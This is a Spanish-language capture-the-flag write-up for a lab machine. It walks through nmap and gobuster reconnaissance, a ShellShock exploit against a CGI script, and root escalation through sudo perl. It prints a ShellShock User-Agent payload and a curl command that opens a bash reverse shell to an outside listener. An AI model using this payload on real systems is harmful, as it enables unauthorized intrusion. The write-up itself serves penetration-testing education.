RECONOCIMIENTO

Mediante el escaneo con la herramienta nmap podemos observar los puertos que tiene la máquina víctima expuestos.

nmap -p- --open -T5 -v -n -Pn 10.10.10.56 -oG allPorts
nmap -sCV -p80,2222 10.10.10.56 -oN targeted

Únicamente tenemos dos puertos abiertos y en uno de ellos está corriendo el servicio SSH, por lo que lo más seguro es que la intrusión vaya a ser a partir de la web que están alojando.

Si realizamos una petición al servidor web, vemos que nos devuelve únicamente una imagen con un texto, y la herramienta whatweb tampoco nos reporta nada interesante.

Vamos a realizar un descubrimiento de directorios mediante un ataque de fuerza bruta. Para ello usaremos la herramienta gobuster.

gobuster dir -u http://10.10.10.56 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r

gobuster dir -u http://10.10.10.56 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r -x html,php

Sorprendentemente, no encontramos nada relevante, ni directorios ni tampoco archivos con extensión html y/o php.

En estas ocasiones hay que tener en cuenta que herramientas de fuzzing web como GoBuster , cuando envían peticiones de directorios que se encuentran en el diccionario que le estamos pasando como argumento, estas lineas se añaden a la ruta de la URL original sin un símbolo /.

Normalmente, los servidores web nos redirigen cuando no introducimos esta barra (redirección de /test a /test/), pero como no hemos encontrado nada relevante, es posible que esta redirección no se esté aplicando y haya rutas que no estemos encontrando por esto.

Vamos a realizar otro reconocimiento con GoBuster pero esta vez utilizando la opción -f, que nos añade esa barra al final.

gobuster dir -u http://10.10.10.56 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r -x html,php -f

Encontramos un directorio llamado /cgi-bin/. CGI (Common Gateway Interface) es un método por el cual un servidor web puede interactuar con programas externos de generación de contenido, a ellos nos referimos comúnmente como programas CGI o scripts CGI.

Básicamente se trata de un directorio donde se alojan scripts que pueden ser ejecutados por parte de un cliente a través de peticiones web.

Sabiendo esto, y teniendo también en cuenta el nombre de la propio máquina que nos está dando un pista, es posible que el servidor web sea vulnerable a un tipo de ataque llamado ShellShock.

En este post se explica perfectamente y de forma detallada en que consiste esta vulnerabilidad, pero básicamente es una vulnerabilidad que afecta a versiones antiguas de la shellbash ya que a la hora de asignar una variable de entorno, bash te daba la posibilidad de asignar una función.

Lo que ocurría cuando asignabas una función en el valor de una variable de entorno es que bash no se detenía en la propia definición, sino que continuaba y ejecutaba los comandos que se pusieran después de la definición de la función.

Para explotarlo de forma remota, es necesario la interacción con archivos (scripts) susceptibles a un ataque de este tipo, que normalmente tienen extensiones .cgi o .sh.

La idea es que si tenemos capacidad de ejecución de un script de estos a través de una petición web, vamos a poder aprovecharnos de cabeceras como ‘User Agent’ para colar ahí nuestro payload.

La pregunta aquí sería, ¿Por qué metemos el payload en las cabeceras?. Bien, pues esto es debido a que cualquier información recibida en una petición por parte del cliente como puede ser el User-Agent, Referer, u otros parámetros se almacenan en forma de variables de entorno para que puedan ser usadas por estos programas o scripts externos.

Sabemos la teoría, pero no tenemos todavía localizado ningún script dentro de este directorio, así que vamos a fuzzear por archivos con extensiones como las mencionadas anteriormente.

gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r -x cgi,sh

Tenemos un script llamado user.sh. Si tramitamos la petición a través de BurpSuite, vemos que la respuesta parece ser un output del comando uptime.

EXPLOTACIÓN

La idea sería aprovecharse de esta petición modificando nuestro User Agent y metiendo ahí nuestro payload, que será una ReverseShell. El payload es especifico, y se compone de la siguiente manera:

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/<localIP>/<localPort> 0>&1

Vamos a tramitar la petición mediante curl, y si nos ponemos a la escucha vamos a recibir una shell como el usuario Shelly.

curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1"

ESCALADA DE PRIVILEGIOS

La escalada de esta máquina es bastante simple. Antes que correr algún binario, vamos a poder ver mediante el comando sudo -l que el usuario Shelly puede ejecutar como el usuario ROOT el binario de Perl.

Esto es algo crítico ya que Perl tiene un comando llamado exec que nos permite correr comandos a nivel de shell. Así que podemos llamar a la shell de bash desde ahí y ya seríamos ROOT en la máquina, pudiendo ver ambas flags.